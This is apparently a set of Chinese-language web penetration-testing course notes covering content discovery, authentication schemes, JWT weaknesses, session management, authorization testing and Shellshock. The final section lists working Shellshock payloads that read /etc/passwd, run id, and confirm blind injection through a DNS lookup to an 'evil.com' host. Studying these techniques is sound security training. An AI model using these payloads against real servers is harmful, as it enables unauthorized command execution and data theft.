web安全测试2-内容发现-身份认证-会话管理（完整名请用base64解码）：c2VjNTQyIFdFQiBBUFAgUEVORVRSQVRJT04gVEVTVElORyAmIEVUSElDQUwgSEFDS0lORw==
内容发现-身份认证-会话管理
-
日志记录和监控不足
网络服务器
数据库服务器
身份认证系统
Web 应用程序防火墙（WAF）和负载均衡器
Web 应用程序本身日志
与安全相关：身份认证失败和成功；使用敏感功能或访问敏感数据；服务器端输入验证错误消息 -
集中式日志
安全信息和事件管理 (SIEM) 产品
正常事件日志有助于建立基线视角，用于识别异常事件 -
网络爬虫
大部分信息收集都属于网络爬虫的范围
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/ -
蜘蛛
又名网络爬虫（Spidering与crawling）
burp 默认深度是8 -
机器人排除协议
robots.txt与HTML头部META标签中的名称ROBOT -
手动爬虫还是自动爬虫
手动寻找交互性强的功能点，剩下的交给自动化
手动可以记录下有趣的地方：文件上传，参数中存在文件名，数据库查询，记录输入的值（比如<h1>你的版权值） -
命令行爬虫
wget -r -P [demo] http://demo.com
配置 Wget 将流量路由到Burp 或 ZAP拦截代理
export https_proxy=https://127.0.0.1:8080
export http_proxy=https://127.0.0.1:8080 -
BurpSuite蜘蛛
新建扫描 - crawling - 站点地图
ZAP的Spider同理 -
AJAX 爬虫
现代应用程序使用 JavaScript 动态构建网站内容，通过 AJAX 从服务器端 API 获取数据，导致这些链接隐藏在 JavaScript 代码中动态生成，不是位于标签内，需要使用专门的爬虫程序来查找这些链接
ZAP：攻击菜单上下文寻找 AJAX Spider（四年前)
burp：crawling配置其他中，AJAX Spider 功能，跟踪评论和 JavaScript 中的隐藏链接 -
CEWL 蜘蛛
抓取网站生成单词，每行一个，自动去重
单词：主机名(dns），目录和文件名，用户名，密码
从目标网站创建字典：有助于发现隐藏内容或密码
https://digi.ninja/projects/cewl.php -
强制浏览或目录扫描
目录扫描：开源情报、目标分析和网络爬虫无法识别网络服务器上的所有内容。实际上是一种字典攻击，注意服务器的高负荷 -
burp Discover Content 内容发现
内容发现：又名强制浏览或目录扫描
Engagement Tools 互动工具上下文中（四年前）
ZAP的强制浏览功能基于DirBuster -
ffuf
可对HTTP请求的任何部分进行模糊测试，默认40个线程（对于waf或CDN或云主机，建议控速3以下)
https://github.com/ffuf/ffuf -
fuzzing
任何输入的地方都可以模糊：请求头，参数，值等
配合正常功能的请求：用于基线对比 -
SecLists
高质量fuzz数据源：集结FuzzDB, Jason Haddix (@Jhaddix),Robert Hansen (@rsnake), Rodolfo Assis (@brutelogic)等许多第三方优质源
https://github.com/fuzzdb-project/fuzzdb
https://github.com/danielmiessler/seclists -
信息泄露
比如mysql语法错误，有效用户，底层目录结构，操作系统和服务版本等，从攻击者的角度没什么，但从安全建设的角度统统需要收敛 -
目录浏览 Directory Browsing
即响应页面 index of / -
寻找CVE中的信息泄露
信息泄露
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=leakage
目录遍历 directory traversal 框架名+漏洞关键词
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=directory+thinkphp -
认证 Authentication
内置于 HTTP 协议中由服务器处理的认证方案：Basic，Digest，Integrated Windows（NTLM 或基于 HTTP 的 Kerberos）
由开发者或框架在应用层面处理的认证方案：Federated identity management（OpenID，OAuth，SAML），基于表单（HTML Form标签）
其他更复杂的认证方案：生物识别或基于证书的认证 -
内置认证方案（HTTP协议内置）
401 未授权，WWW-Authenticate标头，Authorization标头，浏览器弹窗用户输入凭证，Athorization标头 -
HTTP Basic 认证
apache通常将哈希密码存于.htaccess，IIS通常使用安装 IIS 服务器的本地用户账户进行认证
Authorization 头：base64编码（用户名:密码）
echo -n username:password | base64 -n防止回车
必须与 SSL/TLS 配合使用，否则完全不安全
没有登出功能，一直存在于浏览器内存中 -
HTTP Digest 认证
HTTP basic的升级版，标头与HTTP Basic一致，但增加了nonce参数用于盐值
https://www.cnblogs.com/lsdb/p/10621940.html
缺点：所有用于计算的内容仍以明文传输，能够监控网络流量的攻击者可以捕获所有必要参数进行离线破解密码。其他问题还是与HTTP Basic 认证一致。 -
Integrated Windows 认证
适用于 NTLM 和 HTTP 上的 Kerberos
最常见于内网，比如打印机来使用它透明地登录用户（背后偷偷的，肉眼无法察觉）；单点登录；客户端和服务器必须同域（才能透明地工作）
使用与HTTP Basic 认证相同的标头，指定NTLM作为模式（或方案或schema）
类似于 HTTP Digest 认证，攻击者可以通过观察网络流量来破解密码
其他问题还是与HTTP Basic 认证一致
还引入了其他攻击向量，比如CSRF -
burp 认证
Burp 支持 Basic、Digest 和 NTLM over HTTP 认证（Integrated Windows 认证）
User options -> Platform Authentication 上下文中 -
基于表单的认证 Form-Based Authentication
HTML form表单，由应用程序或框架处理
SQL注入等注入漏洞，XSS等HTML注入，钓鱼，基于会话的漏洞 -
OpenID/OAuth/SAML 身份验证
通过第三方提供身份验证，类似于支持微信扫码登录（微信，身份提供商identity provide）
OAuth：基于token，使用身份提供商提供的API。流程相对复杂导致许多网站偏向于使用OpenID作为验证机制
OpenID：钵钵鸡
SAML：常见于企业应用。使用XML消息，支持多种实现方式也可能较为复杂
在所有的情况下，身份验证机制都包含一系列重定向，其中消息在身份提供商和目标网站之间安全地传递 -
OAuth2
用户：资源所有者 Resource Owner
客户端：client 用户访问资源的应用程序
授权服务器 Authorization Server：验证身份并向客户端发送token的服务器
资源服务器 Resource Server：最终要访问的资源
用户代理 User Agent：比如浏览器
https://datatracker.ietf.org/doc/html/rfc6749
使用 OAuth2 身份验证和授权时，资源服务器最终会信任授权服务器的断言/令牌（assertions/tokens）。
将用户从资源服务器重定向到授权服务器的请求例子：https://www.demo.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CA LLBACK_URL&scope=read
client_id：资源服务器的唯一ID，表示资源正被请求访问
redirect_uri：用户成功认证后重定向到哪里
response_type：告诉授权服务器需要返回什么。因为是身份验证请求，所以资源服务器期望收到授权码
scope：资源服务器的访问级别，读取权限 -
Bearer Authentication
HTTP 认证方案，又名token 认证
Bearer认证：为了支持Oauth2授权框架而创建
Authorization: Bearer JWT
https://datatracker.ietf.org/doc/html/rfc6750 -
JWT（JSON Web Token）
JWT：就是 JWS（JSON Web Signature）
除了JWT之外还有：JWE (JSON Web Encryption)，JWK (JSON Web Key)
OAuth2授权框架没有规定令牌是什么，JWT是创建令牌的具体落地
始终检查JWT内容，可能会出现敏感数据泄露
JWT(JWS)使用签名进行声明；JWE对内容进行加密；JWK是一组密钥，比如验证授权服务器颁发的JWT公钥
JWT签名类型：包括 none，每次都可以检查一下尝试修改并绕过任何签名
算法混淆：比如HS256改成none，使得攻击者能够篡改签名算法
HS256算法和弱密钥相关：key爆破（类似弱口令）
大量微服务和现代应用程序：大量服务器集群的不同web应用是否存在支持某一个web应用的任意注册用户的JWT？ -
用户名收集
互联网上存在无数程序整天都在爆破：比如 22 端口日志就会看见（不知道的人会认为自己特殊针对，不，全世界都被针对了） -
从身份验证页面收集用户名
用户名可爆破：用户名错误，密码错误（与红队同理，他们关注的是有没有nday拿到shell，有没有未授权API拿到数据，哪个钵钵鸡上传点又可以穿马了；蓝队关注这些地方的攻击面是否可以收敛） -
侧信道攻击
非常适用于加密攻击：电磁干扰、热量、声音等物理IOC来破坏系统
例子：只在用户名有效的情况下才对密码进行哈希处理，有效用户名会延长响应时间 -
时间攻击
哈希算法两个基本用途：完整性和密码
对文件哈希验证完整性，计算成本不高
对密码进行哈希验证密码匹配，计算成本很高 -
慢速哈希 slow hashing
大量4U服务器，大量GPU显卡，几千瓦电力
MD5：每秒1800亿密码哈希
bcrypt（php 5.5开始默认哈希算法）：每秒7万密码哈希
https://gist.github.com/epixoip/99085955a1145ff61ec83512a50421a7
bcrypt计算量大，导致密码错误时返回过慢的侧信道时间攻击，攻击者就知道用户名对了 -
Burp Intruder的模糊测试
-
会话管理
HTTP协议无内置的会话管理方法：会话管理时web服务器或web应用的责任
使用框架函数来落地会话管理往往很正确
当开发者自己编写会话管理代码时，问题更大 -
会话管理原则
不可预测；防篡改；过期；机密
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema -
会话可预测性
熵：又叫随机性
可预测：echo -n 1111111 | sha1sum -
会话防篡改
敏感功能点或高安全性程序在验证时可与会话ID关联其他属性（源IP，UA头等） -
会话过期
会话结束：注销；会话计时器到期；检测到会话被篡改 -
会话机密性
会话ID HTTPS传输，防止未授权访问（即使是HTTPS，GET请求也不会加密）
cookie的会话应设置Secure标志，防止通过HTTP传输 -
会话窃取
HTTP only标志：阻止JavaScript读取会话cookie值 -
可预测性与会话值
BurpSuite Sequencer：易于识别的算法只需要十几个样本即可；看似随机生成的值可能需要收集10000到20000个样本 -
会话固定
-
会话注销和超时
-
绕过身份验证方案的测试
https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema.md
参数篡改和直接页面访问
SQL 注入登录绕过 -
授权攻击
最高权限级别（例如管理员权限）的帐户登录
爬虫操作，记录可用的 URI
同角色的另一帐户登录，访问上一步中列出的资源，并记录该帐户无权访问的任何资源
使用权限递减的账户尝试访问所有最高权限帐户的资源，并记录当前帐户未被授权访问的任何资源
未登录态测试所有资源 -
角色强制执行
admin和user的会话ID可以访问资源；会话 ID PHPSESSID 不会（同一个会话ID）也可以访问资源（漏洞示例：比如银行两个账户可以互看对方的余额） -
不安全直接对象引用 (IDOR)
https://www.demo.com/documents/demo/ASD53245-2FASHFG-41312314E-BFDFAS47-E7FASD2F8B7362C -
Mutillidae
环境：https://owasp.org/www-project-mutillidae-ii/
教程：http://www.irongeek.com/i.php?page=videos/web-application-pen-testing-tutorials-with-mutillidae -
Shellshock
Shellshock：代指bash shell中的一系列问题
主要问题在于 Bash 处理在环境变量中定义的函数以及导出这些函数的方式
攻击者需要与存在漏洞的服务器交互，同时精心构造或控制用于 Bash 环境变量的数据
#!/bin/bash 的 CGI 脚本
/bin/sh 实际只是指向 /bin/bash 的指针
现代 Web 应用中直接在 CGI 脚本中使用 Bash 并不常见
popen() 或 system() 的函数同样可能存在Shellshock的问题（PHP、Python、C++ 或 Java 等语言与系统交互的命令执行函数）
注入什么地方：任何可能会成为 CGI 环境变量的地方（UA头，cookie，referer 头等）
显注 payload
() { 10;};echo;/bin/cat /etc/passwd
() { 10;};echo;/usr/bin/id
盲注 payload
() { 10;};echo; ping -c 4 10.10.10.10
() { 10;};echo; nslookup demo.evil.com
示例：CGI环境变量与Shellshock注入。bash将HTTP_USER_AGENT视为一个shell函数，10来调用该函数
HTTP_USER_AGENT='() { 10;};echo;/usr/bin/id'
() { 10;}：()表示函数，{}函数实际执行的操作，数字是任意的
;echo：填充物，非必要，用于降低服务器出错而debug出来的填充物
;/usr/bin/id：任何想要执行的命令
浙公网安备 33010602011771号